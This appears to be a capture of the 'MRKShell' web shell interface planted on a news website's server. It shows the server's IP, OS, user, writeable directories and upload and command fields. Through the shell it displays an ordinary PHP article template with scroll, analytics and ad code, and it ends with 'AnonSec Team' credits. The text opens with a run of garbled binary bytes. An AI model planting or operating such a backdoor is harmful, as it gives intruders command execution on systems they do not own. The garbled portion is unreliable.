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BGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/views/2016/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/views/2016/nota-inc.php
<? //echo "<pre>".print_r($nota,true)."</pre>";                                                                                      ?>
<? 
$dias = array("Domingo", "Lunes", "Martes", "Miércoles", "Jueves", "Viernes", "Sábado");
$meses = array("Ene", "Feb", "Mar", "Abr", "May", "Jun", "Jul", "Ago", "Sep", "Oct", "Nov", "Dic");  
$href_redes_f = urlencode($href_canonical);
$href_redes_t = urlencode($href_canonical);
$tit_nota = str_replace('"', "&quot;", $nota['titulo']);
$tit_nota = str_replace("'", "&#39;", $tit_nota);
$url_seccion = $this->varios_library->generar_url(8, $seccion['id'], $seccion['nombre'], $seccion['url']);
$fecha = $this->varios_library->fechaAbreviada($nota['fecha']);
$is_movil = $this->varios_library->isMovil();
$vistass = $nota['vista'];
if ($vistass == 2) {
    $ancho = 1110;
    $alto = 648;
} else {
    $ancho = 730;
    $alto = 473;
}
$urlPrimaria = $this->varios_library->generar_url(32, $nota['id'], $nota['titulo'], $nota['seccion'][0]['color']);
if (count($nota['notas_relacionadas']) > 4) {
    $nota['notas_relacionadas'] = array_slice($nota['notas_relacionadas'], 0, 4);
}

if ($nota['notas_asociadas'] != 'vacio') {
    $primera_rel = $nota['notas_asociadas'][0];
    $segunda_rel = $nota['notas_asociadas'][1];
}

?>

<script type="application/ld+json">{
    "@context": "http://schema.org",
    "@type": "NewsArticle",
    "headline": "<?= $tit_nota ?>",
    "url": "<?= $urlPrimaria ?>",
    "thumbnailUrl": "",
    "dateCreated": "<?= date('Y-m-d', strtotime($nota['fecha'])) ?> 00:00:00",
    "articleSection": "<?= $seccion['nombre'] ?>",
    "keywords": ["Universidad, Nacional, Tucumán, UNT, Medios"]
    }
</script>

<div id="fb-root"></div>
<script>(function (d, s, id) {
        var js, fjs = d.getElementsByTagName(s)[0];
        if (d.getElementById(id))
            return;
        js = d.createElement(s);
        js.id = id;
        js.src = "//connect.facebook.net/es_LA/sdk.js#xfbml=1&version=v2.8&appId=367744800238181";
        fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));</script>

<script type="text/javascript">
//declaracion vista de la nota
    var vistaNota = '<?= $nota['vista'] ?>';
//declaracion waypoint y declaracion de request sended a Google analytics
    var waypoint = [];
    var waypoint2 = [];
    var sendga = [];

//scroll situado "en" noticia especifica
    var en;
//processing para no hacer ajax request simultaneas
    var processing;
//contador de notas relacionadas
    var count = 0;
//porcentaje de scroll en el cual se hara ajax request
    var percentage = 0.70;
//array con notas relacionadas
    var relac = [];
//array con urls
    var url = [];
//array titulos
    var titulos = [];
    var tituloPrim = '<?= $tit_nota ?>';
<?php
if (!$nota['scroll_inactivo']) {

    if (is_array($nota['notas_relacionadas'])) {
        for ($i = 0; $i < count($nota['notas_relacionadas']); $i++) {

            $titulos[$i] = $nota['notas_relacionadas'][$i]['titulo'];
            $titulos[$i] = str_replace('"', "&quot;", $titulos[$i]);
            $titulos[$i] = str_replace("'", "&#39;", $titulos[$i]);

            $url[$i] = $this->varios_library->generar_url_scroll(32, $nota['notas_relacionadas'][$i]['id'], $titulos[$i], $nota['notas_relacionadas'][$i]['seccion_color']);
            ?>
                //SI HAY RELACIONADAS
                //Creando id de relacionadas
                relac.push("<?= $nota['notas_relacionadas'][$i]['id'] ?>");
                //Creando url de relacionadas (CAMBIAR ANTES DE SUBIR!!)
                url.push("<?= $url[$i] ?>");
                //Creando titulos de relacionadas
                titulos.push('<?= $titulos[$i] ?>');

            <?php
        }
    } else {

        //NO HAY RELACIONADAS, TOMAMOS ULTIMAS 4 DE SECCION
        for ($i = 0; $i < count($relacionadass); $i++) {

            $relacionadass[$i][titulo] = $relacionadass[$i][titulo];
            $relacionadass[$i][titulo] = str_replace('"', "&quot;", $relacionadass[$i][titulo]);
            $relacionadass[$i][titulo] = str_replace("'", "&#39;", $relacionadass[$i][titulo]);

            //Sirve para titulo que se asignara luego a variable url
            $url[$i] = $this->varios_library->generar_url_scroll(32, $relacionadass[$i][id], $relacionadass[$i][titulo], $relacionadass[$i][seccion_color]);
            ?>
                //Creando id de relacionadas
                relac.push("<?= $relacionadass[$i][id] ?>");
                //Creando url de relacionadas (CAMBIAR ANTES DE SUBIR!!)
                url.push("<?= $url[$i] ?>");
                //Creando titulos de relacionadas
                titulos.push('<?= $relacionadass[$i][titulo] ?>');

            <?php
        }
    }
}
?>

    $(document).ready(function () {
//declaracion waypoint primario
        var tituloNotaPrim = '<?= $tit_nota ?>';
        tituloNotaPrim = tituloNotaPrim.replace(/&#39;/g, "'");
        tituloNotaPrim = tituloNotaPrim.replace(/&quot;/g, '"');
        var waypointPrimario = new Waypoint({
            element: document.getElementById('waypoint2-<?= $nota['id'] ?>'),
            handler: function (direction) {
                if (direction == 'up') {
                    document.title = tituloNotaPrim;
                    history.replaceState('<?= $nota['id'] ?>', "", '<?= $urlPrimaria ?>');
                    document.getElementById('<?= 'redes-flotante-' . $nota['id'] ?>').style.display = 'block';
                } else {
                    document.getElementById('<?= 'redes-flotante-' . $nota['id'] ?>').style.display = 'none';
                }
            }
        });

//esto seria el "en" para la noticia que estamos viendo (sirve para identificar scroll en esta noticia)
//var enPrimera = document.getElementById('details-news-'+relac[i]);
        var detailsNews = "details-news-" + "<?= $nota['id'] ?>";
        var enPrimera = document.getElementById(detailsNews);
        var aux = 0;

        $(document).scroll(function (e) {


            if (processing)
                return false;


            if ($(window).scrollTop() >= ($(window).height() - ($(window).height()) * percentage) && count < relac.length) {

                processing = true;

                if (typeof relac[count] != "undefined")
                {
                    ajax_cargar_articulo(relac[count], url[count], titulos[count], vistaNota, relac, tituloPrim, titulos);
                }

            }
        });


//MANDA REQUEST CADA VEZ QUE CAMBIA LA URL Y EL TITULO
        function ajax_cargar_articulo(nota_id, url, titulos, vistaNota, relac, tituloPrim, tituloss) {
            titulos = titulos.replace(/'/g, "");
            titulos = titulos.replace(/&quot;/g, '"');
            url = url.replace(/quot/g, "");
            datos = nota_id;
            $.ajax({
                //context: document.body,
                url: "/scroll/nota-scroll/" + nota_id + "/" + vistaNota + "/<?= $nota['id'] ?>," + relac + "/" + encodeURIComponent(tituloPrim) + "*" + encodeURIComponent(tituloss[0]) + "*" + encodeURIComponent(tituloss[1]) + "*" + encodeURIComponent(tituloss[2]) + "*" + encodeURIComponent(tituloss[3]),
                type: "GET",
                //data:datos,
                async: true,
                dataType: "html",
                //cache:false,
                beforeSend: function () {
                    //javscript antes de enviar la peticion
                },
                success: function (data) {
                    $('#section-post').append(data);
                    //Recargar seccion de comentarios de fb:
                    FB.XFBML.parse();
                    //ga('send','pageview','/'+url);
                    waypoint[nota_id] = new Waypoint({
                        element: document.getElementById('waypoint-' + nota_id),
                        handler: function (direction) {
                            //Reemplazamos titulos y url
                            if (direction == 'down') {
                                document.getElementById('redes-flotante-' + nota_id).style.display = 'block';
                                document.title = titulos;
                                history.replaceState(nota_id, "", "/" + url);
                                //console.log($("#derecha-"+nota_id+"-"+nota_id));
                                //$("#derecha-"+nota_id+"-"+nota_id).addClass("notaActiva");
                                //Manda request a GA
                                ga('send', 'pageview', '/' + url);
                                pSUPERFLY.virtualPage("/" + url, titulos);
                                var random = Math.random();
                                $('body').append("<img width='0' height='0' src='http://c.statcounter.com/t.php?sc_project=11195510&java=1&security=4eb6c0bd&u1=5AE4D73187A74F8302C9BB4E2DF7230C&sc_random=" + random + "&rr=13.11.11.11.11.11.3.3.1&resolution=1024&h=768&camefrom=<?= $urlPrimaria ?>&u=" + url + "&t=" + titulos + "&rcat=d&rdomo=d&sc_snum=1&sess=7a9eb4&p=0&invisible=1' />");
                            } else {
                                document.getElementById('redes-flotante-' + nota_id).style.display = 'none';
                            }
                        }
                    });
                    waypoint2[nota_id] = new Waypoint({
                        element: document.getElementById('waypoint2-' + nota_id),
                        handler: function (direction) {
                            if (direction == 'up') {
                                document.getElementById('redes-flotante-' + nota_id).style.display = 'block';
                                document.title = titulos;
                                history.replaceState(nota_id, "", "/" + url);
                                //console.log($("#derecha-"+nota_id+"-"+nota_id));
                                //$("#derecha-"+nota_id+"-"+nota_id).addClass("notaActiva");
                                //Manda request a GA
                                ga('send', 'pageview', '/' + url);
                                pSUPERFLY.virtualPage("/" + url, titulos);
                                var random = Math.random();
                                $('body').append("<img width='0' height='0' src='http://c.statcounter.com/t.php?sc_project=11195510&java=1&security=4eb6c0bd&u1=5AE4D73187A74F8302C9BB4E2DF7230C&sc_random=" + random + "&rr=13.11.11.11.11.11.3.3.1&resolution=1024&h=768&camefrom=<?= $urlPrimaria ?>&u=" + url + "&t=" + titulos + "&rcat=d&rdomo=d&sc_snum=1&sess=7a9eb4&p=0&invisible=1' />");
                            } else {
                                document.getElementById('redes-flotante-' + nota_id).style.display = 'none';
                            }
                        }
                    });

                    count = count + 1;
                    percentage = percentage - 0.10;
                    processing = false;
                },
            });
        }

    });
</script>
<section class="main-content pt-0 nota-section">
    <div class="container">
		<li>
		<div class="post-cat <?=$seccion['color']?>"><?= $nota['antetitulo'] ?></div>
                            </li>
                        <h2 class="post-title title-lg" itemprop="headline"><?= $tit_nota ?></h2>
        <div class="row ts-gutter-30 noticia">
            <div class="col-lg-8 nota-left-section">

                

                         <?                        
                        if (isset($banners['nota_top ' . $banner_movil]['tag'])) {
                            echo '<div class="sidebar-widget ads-widget text-center" style="margin-bottom: 10px;">' . $banners['nota_top ' . $banner_movil]['tag'] . "</div>";
                        } 
                        ?>   

                <? /*
                  if (isset($banners['nota_top' . $banner_movil]['tag'])) {
                  if ($nota['mayor'] == 0 || ($nota['mayor'] == 1 && $banners['nota_top' . $banner_movil]['tipo'] <> 4)) {
                  echo "<div class='section add'>" . $banners['nota_top' . $banner_movil]['tag'] . "</div>";
                  }
                  } */
                ?>

                <div class="single-post" id="details-news-<?= $nota['id'] ?>">
					
					<? if (($nota['fecha'] == date('d-m-Y')) && ($nota['hora'] > date('H:i'))){
									
									$nota['hora'] = date('H:i');
	
								} 
							?>
                            <span class="fecha-nota show-movil"><i class="fa fa-clock-o"></i> <?= $fecha ?>  <?= $nota['hora'] ?></span>
                    
                    <div class="post-content-area">
                        <div class="post-media">
                            <?
                            if ($nota['vista'] == 3): //video destacado 
                                if (!is_movil) {
                                    ?><div class="post-gallery">
                                        <div class="entry-thumbnail embed-responsive embed-responsive-16by9">
                                            <iframe class="embed-responsive-item" src="https://www.youtube.com/embed/<?= $nota['videos'][0]['codigo'] ?>" allowfullscreen=""></iframe>
                                        </div>
                                    </div>
                                <? } else { ?>
                                    <div class="video-nota-d">
                                        <iframe class="video-nota" src="https://www.youtube.com/embed/<?= $nota['videos'][0]['codigo'] ?>" allowfullscreen=""></iframe>
                                    </div>
                                    <?
                                }
                            else:
                                ?>
                        

                                   

                                        <?
                                        $foto = $nota['foto'];
                                        $url_img = site_url("fotos/" . $foto['ruta'] . $foto['imagen']);
                                        $img = $this->varios_library->dameImagen($foto['ruta'], $foto['imagen'], 'cache/' . $foto['ruta'], $ancho, $alto, "img-responsive");
                                        ?>
                                        <?= $img ?>
                                        <div class="image-caption"><?= $foto['descripcion'] ?></div>
                                    <div class="post-header-area">
                    
                                
                        
                        <ul class="post-meta">
							<? if (($nota['fecha'] == date('d-m-Y')) && ($nota['hora'] > date('H:i'))){
									
									$nota['hora'] = date('H:i');
	
								} 
							?>
                            <li class="fecha-nota no-show-movil"><i class="fa fa-clock-o"></i> <?= $fecha ?>  <?= $nota['hora'] ?></li>
							<li class="social-share">
                                <ul>
                                    <li><a class="facebook" href="http://m.facebook.com/sharer.php?u=<?= $href_redes_f ?>" target="_blank"><i class="shareicon fa-brands fa-facebook-f"></i></a></li>
                                    <li><a class="twitter" href="javascript:twShare('<?= $tit_nota ?> <?= $href_redes_f ?>', '', '', '', 520, 350)"><i class="shareicon fa-brands fa-x-twitter"></i></a></li>
                                    <li><a class="whatsapp" href="whatsapp://send?text=Comunicación Tucumán - <?= $href_redes_f ?>" data-action="share/whatsapp/share"><i class="shareicon fa-brands fa-whatsapp"></i></a></li>
                                </ul>
                            </li>
							
            				
                            
                        </ul>
						<p class="sumario" itemprop="description"><?= $nota['sumario'] ?></p>
                    </div><!-- post-header-area end -->
                                <? /*else: ?>
                                    <div id="slider_interno" class="carousel slide" data-ride="carousel">
                                        <div class="carousel-inner" role="listbox">
                                            <?
                                            $i = 0;
                                            foreach ($nota['fotos'] as $key => $foto):
                                                ?>
                                                <div class="item<? if ($i == 0): ?> active<? endif ?>">
                                                    <?
                                                    $url_img = site_url("fotos/" . $foto['ruta'] . $foto['imagen']);
                                                    $img = $this->varios_library->dameImagen($foto['ruta'], $foto['imagen'], 'cache/' . $foto['ruta'], 660, 370, " img-responsive ");
                                                    ?>
                                                    <?= $img ?>
                                                    <p class="fotoepigrafe"><?= $foto['descripcion'] ?><hr class="hrepigrafe"></p>
                                                </div>
                                                <?
                                                $i++;
                                            endforeach;
                                            ?>
                                            <!-- Wrapper for slides -->
                                        </div>

                                        <!-- Left and right controls -->
                                        <a class="left carousel-control" href="#slider_interno" role="button" data-slide="prev">
                                            <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
                                            <span class="sr-only">Anterior</span>
                                        </a>
                                        <a class="right carousel-control" href="#slider_interno" role="button" data-slide="next">
                                            <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
                                            <span class="sr-only">Siguiente</span>
                                        </a>
                                    </div>
                                <? endif ?>
                                        <? */ endif; ?>
                        </div>
                              
                        <?                        
                        if (isset($banners['nota_piefoto ' . $banner_movil]['tag'])) {
                            echo '<div class="sidebar-widget ads-widget text-center" style="margin-bottom: 10px;">' . $banners['nota_piefoto ' . $banner_movil]['tag'] . "</div>";
                        } 
                        ?>                          
                        <div class="articleBody" itemprop="articleBody">
                            <?
                            $new_content = html_entity_decode($nota['texto']);
							
							
							if (isset($banners['nota_texto' . $banner_movil]['tag'])) {
                                                if ($nota['mayor'] == 0 || ($nota['mayor'] == 1 && $banners['nota_texto' . $banner_movil]['tipo'] <> 4)) {
                                                    $banner_mid = true;
                                                }
                                            }
							
							
                            if ($banner_mid or $primera_rel) {
                                

                                    //add banner in middle
                                    $cnt_parrafos = count(explode("</div>", html_entity_decode($nota['texto'])));
                                    $cnt_parrafos2 = count(explode("</p>", html_entity_decode($nota['texto'])));
                                    $cnt_parrafos3 = count(explode("<br><br>", html_entity_decode($nota['texto'])));
                                    if ($cnt_parrafos2 > $cnt_parrafos && $cnt_parrafos2 > $cnt_parragos3) {
                                        $cnt_parrafosp = count(explode("</p>", html_entity_decode($nota['texto'])));
                                        $parrafo_banner = round($cnt_parrafosp / 2);

                                        if ($parrafo_banner >= 1) {
                                            $parrafo_banner = $parrafo_banner - 1;
                                        }

                                        $contenido = html_entity_decode($nota['texto']);
                                        $content = explode("</p>", $contenido);

                                        $new_content = '';
                                        for ($i = 0; $i < count($content); $i++) {
                                            if ($i == $parrafo_banner) {
                                                $new_content .= '<div class="sidebar-widget ads-widget text-center" style="margin-bottom: 10px;">';
                                                $new_content .= $banners['nota_texto' . $banner_movil]['tag'];
                                                $new_content .= '</div>';
                                            }
											
											if ($i == 2 and $primera_rel) {
                                                        $new_content .= ' <div class="tarjeta-relacionada uno" ><a href="' . $primera_rel['url'] . '"> ';
                                                        $new_content .= '   <div class="icono-tarjeta-relacionada">';
                                                        $new_content .= '    <i class="fa fa-chevron-right" aria-hidden="true"></i>';
                                                        $new_content .= '    </div>';
                                                        $new_content .= '    <div class="parrafo">';
                                                        $new_content .= '   <p>' . $primera_rel['titulo'] . '</p>';
                                                        $new_content .= '  </div></a>';
                                                        $new_content .= '</div>';
                                                    }
											
											if ($i == 4 and $segunda_rel) {
                                                        $new_content .= ' <div class="tarjeta-relacionada dos" ><a href="' . $segunda_rel['url'] . '"> ';
                                                        $new_content .= '   <div class="icono-tarjeta-relacionada">';
                                                        $new_content .= '    <i class="fa fa-chevron-right" aria-hidden="true"></i>';
                                                        $new_content .= '    </div>';
                                                        $new_content .= '    <div class="parrafo">';
                                                        $new_content .= '   <p>' . $segunda_rel['titulo'] . '</p>';
                                                        $new_content .= '  </div></a>';
                                                        $new_content .= '</div>';
                                                    }
											
											
                                            if ($i == count($content)) {
                                                $new_content .= $content[$i];
                                            } else {
                                                $new_content .= $content[$i] . "</p>";
                                            }
                                        }
                                    } elseif ($cnt_parrafos3 > $cnt_parrafos && $cnt_parrafos3 > $cnt_parrafos2) {
                                        $cnt_parrafosp = count(explode("<br><br>", html_entity_decode($nota['texto'])));
                                        $parrafo_banner = round($cnt_parrafosp / 2);

                                        if ($parrafo_banner >= 1) {
                                            $parrafo_banner = $parrafo_banner - 1;
                                        }

                                        $contenido = html_entity_decode($nota['texto']);
                                        $content = explode("<br><br>", $contenido);

                                        $new_content = '';
                                        for ($i = 0; $i < count($content); $i++) {
                                            if ($i == $parrafo_banner) {
                                                $new_content .= '<div class="sidebar-widget ads-widget text-center" style="margin-bottom: 10px;">';
                                                $new_content .= $banners['nota_texto' . $banner_movil]['tag'];
                                                $new_content .= '</div>';
                                            }
											
											if ($i == 2 and $primera_rel) {
                                                        $new_content .= ' <div class="tarjeta-relacionada uno" ><a href="' . $primera_rel['url'] . '"> ';
                                                        $new_content .= '   <div class="icono-tarjeta-relacionada">';
                                                        $new_content .= '    <i class="fa fa-chevron-right" aria-hidden="true"></i>';
                                                        $new_content .= '    </div>';
                                                        $new_content .= '    <div class="parrafo">';
                                                        $new_content .= '   <p>' . $primera_rel['titulo'] . '</p>';
                                                        $new_content .= '  </div></a>';
                                                        $new_content .= '</div>';
                                                    }
											
											if ($i == 4 and $segunda_rel) {
                                                        $new_content .= ' <div class="tarjeta-relacionada dos" ><a href="' . $segunda_rel['url'] . '"> ';
                                                        $new_content .= '   <div class="icono-tarjeta-relacionada">';
                                                        $new_content .= '    <i class="fa fa-chevron-right" aria-hidden="true"></i>';
                                                        $new_content .= '    </div>';
                                                        $new_content .= '    <div class="parrafo">';
                                                        $new_content .= '   <p>' . $segunda_rel['titulo'] . '</p>';
                                                        $new_content .= '  </div></a>';
                                                        $new_content .= '</div>';
                                                    }
											

                                            if ($i == count($content)) {
                                                $new_content .= $content[$i];
                                            } else {
                                                $new_content .= $content[$i] . "<br><br>";
                                            }
                                        }
                                    } elseif ($cnt_parrafos > $cnt_parrafos2 && $cnt_parrafos > $cnt_parrafos3) {
                                        $cnt_parrafosp = count(explode("</div>", html_entity_decode($nota['texto'])));

                                        $parrafo_banner = round($cnt_parrafosp / 2);

                                        if ($parrafo_banner >= 1) {
                                            $parrafo_banner = $parrafo_banner - 1;
                                        }

                                        $contenido = html_entity_decode($nota['texto']);
                                        $content = explode("</div>", $contenido);
                                        $new_content = '';
                                        for ($i = 0; $i < count($content); $i++) {
                                            if ($i == $parrafo_banner) {
                                                $new_content .= '<div class="sidebar-widget ads-widget text-center" style="margin-bottom: 10px;">';
                                                $new_content .= $banners['nota_texto' . $banner_movil]['tag'];
                                                $new_content .= '</div>';
                                            }
											
											if ($i == 2 and $primera_rel) {
                                                        $new_content .= ' <div class="tarjeta-relacionada uno" ><a href="' . $primera_rel['url'] . '"> ';
                                                        $new_content .= '   <div class="icono-tarjeta-relacionada">';
                                                        $new_content .= '    <i class="fa fa-chevron-right" aria-hidden="true"></i>';
                                                        $new_content .= '    </div>';
                                                        $new_content .= '    <div class="parrafo">';
                                                        $new_content .= '   <p>' . $primera_rel['titulo'] . '</p>';
                                                        $new_content .= '  </div></a>';
                                                        $new_content .= '</div>';
                                                    }
											
											if ($i == 4 and $segunda_rel) {
                                                        $new_content .= ' <div class="tarjeta-relacionada dos" ><a href="' . $segunda_rel['url'] . '"> ';
                                                        $new_content .= '   <div class="icono-tarjeta-relacionada">';
                                                        $new_content .= '    <i class="fa fa-chevron-right" aria-hidden="true"></i>';
                                                        $new_content .= '    </div>';
                                                        $new_content .= '    <div class="parrafo">';
                                                        $new_content .= '   <p>' . $segunda_rel['titulo'] . '</p>';
                                                        $new_content .= '  </div></a>';
                                                        $new_content .= '</div>';
                                                    }

                                            if ($i == count($content)) {
                                                $new_content .= $content[$i];
                                            } elseif ($i == (count($content) - 1)) {
                                                $new_content .= $content[$i];
                                            } else {
                                                $new_content .= $content[$i] . "</div>";
                                            }
                                        }
                                    } else {
                                        $new_content = html_entity_decode($nota['texto']);
                                    }
                                
                            }
                            ?>
                            <p><?= $new_content; ?></p>
                        </div>
                    </div>
                    <div class="post-footer">



                    <? if($nota['tags']):?>
                        
                        <div class="tag-lists">

                            <span>Etiquetas: </span>
                            <? foreach($nota['tags'] as $tag): ?>
                                <? $tag_limpio = strtolower($tag['nombre']);$tag_limpio = str_replace(' ','-', $tag_limpio); ?>
                                <a href="<?=site_url( 'tags/'. $tag['id']. '/' . $tag_limpio  ) ?>" target="_self" > <?=$tag['nombre']?></a>
                            <? endforeach; ?>    
                        </div><!-- tag lists -->
                    <? endif; ?> 

                        <div class="gap-30"></div>
                        <!-- realted post start -->
                        <div class="related-post">
                            <h2 class="block-title">
                                <span class="title-angle-shap"> Noticias Relacionadas</span>
                            </h2>
                            <div class="row block-mas-noti">
                            <?  /*$src[2]="http://comtuc.tallerhitmedia.com.ar/fotos/notas/2020/10/31/201031153330_76302.jpg";
                                $src[1]="http://comtuc.tallerhitmedia.com.ar/fotos/notas/2020/10/31/201031155846_53986.jpg";
                                $src[0]="http://comtuc.tallerhitmedia.com.ar/fotos/notas/2020/10/31/201031211017_80982.jpg";
                                $ie=0;

                            */?>
                            <? foreach($notas_mostrarse as $relacionada): ?>
                            <? $fecha = $this->varios_library->fechaAbreviada($relacionada['fecha']); ?>
  
                                <div class="col-md-4 block-item-mas-noti">
                                    <div class="post-block-style minheight">
                                        <div class="ph-mas-not post-thumb  ">
                                                    <div class="thumb-ph">
                                                        <a  href="<?= $relacionada['url'] ?>">
                                                            <img  class="ph-mas-noti" src="<?=$relacionada['thumbnail'] ?>" >
                                                     
                                                        </a>
                                                    </div>
                                            <div class="grid-cat">
                                                <a class="post-cat <?=$relacionada['seccion_color']?>" href="<?= $relacionada['url'] ?>"><?= $relacionada['antetitulo'] ?></a>
                                            </div>
                                        </div>

                                        <div class="post-content">
                                            <h2 class="post-title">
                                                <a href="<?= $relacionada['url'] ?>"><?= $relacionada['titulo'] ?></a>
                                            </h2>
                                            <div class="post-meta mb-7 p-0">
                                                <span class="post-date"><i class="fa fa-clock-o"></i> <?=$fecha?> </span>
                                            </div>
                                        </div><!-- Post content end -->
                                    </div>
                                </div><!-- col end -->
                            <? endforeach; ?>   
                        
                            </div><!-- row end -->
                        </div> <!-- realted post end -->
                        
                        
                        
                        

                    </div>
                    
                </div><!-- single-post end -->

            </div><!-- col-lg-8 -->

            <div class="col-lg-4 col-md-12 breves-father noticia" >
                <? if($breves): ?>
            
                    <? $this->load->view("2016/breves" ); ?>

                        <? endif; ?>
                        <div class="sidebar-widget ads-widget text-center">
                                        <div class="ads-image">
                                    <? if (isset($banners[$ubicacion_banner . '_derecha1' . $banner_movil]['tag'])) echo $banners[$ubicacion_banner . '_derecha1' . $banner_movil]['tag']; ?>
                                </div>
                            </div>
                            <div class="sidebar-widget ads-widget text-center">
                                        <div class="ads-image">
                                    <? if (isset($banners[$ubicacion_banner . '_derecha2' . $banner_movil]['tag'])) echo $banners[$ubicacion_banner . '_derecha2' . $banner_movil]['tag']; ?>
                                </div>
                            </div>
                            <div class="sidebar-widget ads-widget text-center">
                                        <div class="ads-image">
                                    <? if (isset($banners[$ubicacion_banner . '_derecha3' . $banner_movil]['tag'])) echo $banners[$ubicacion_banner . '_derecha3' . $banner_movil]['tag']; ?>
                                </div>
                            </div>
                            <div class="sidebar-widget ads-widget text-center">
                                        <div class="ads-image">
                                    <? if (isset($banners[$ubicacion_banner . '_derecha4' . $banner_movil]['tag'])) echo $banners[$ubicacion_banner . '_derecha4' . $banner_movil]['tag']; ?>
                                </div>
                            </div>
                        <div class="sidebar-widget ads-widget text-center">
                                        <div class="ads-image">
                                    <? if (isset($banners[$ubicacion_banner . '_derecha5' . $banner_movil]['tag'])) echo $banners[$ubicacion_banner . '_derecha5' . $banner_movil]['tag']; ?>
                                </div>
                            </div>
                        </div><!-- Sidebar Col end -->





                                                









            <?                        
                if (isset($banners['nota_pie ' . $banner_movil]['tag'])) {
                    echo '<div class="sidebar-widget ads-widget text-center" style="margin-bottom: 10px;">' . $banners['nota_pie ' . $banner_movil]['tag'] . "</div>";
                } 
            ?>         
           

        </div>              
    </div><!--/.container-->
</section>

Anon7 - 2022
AnonSec Team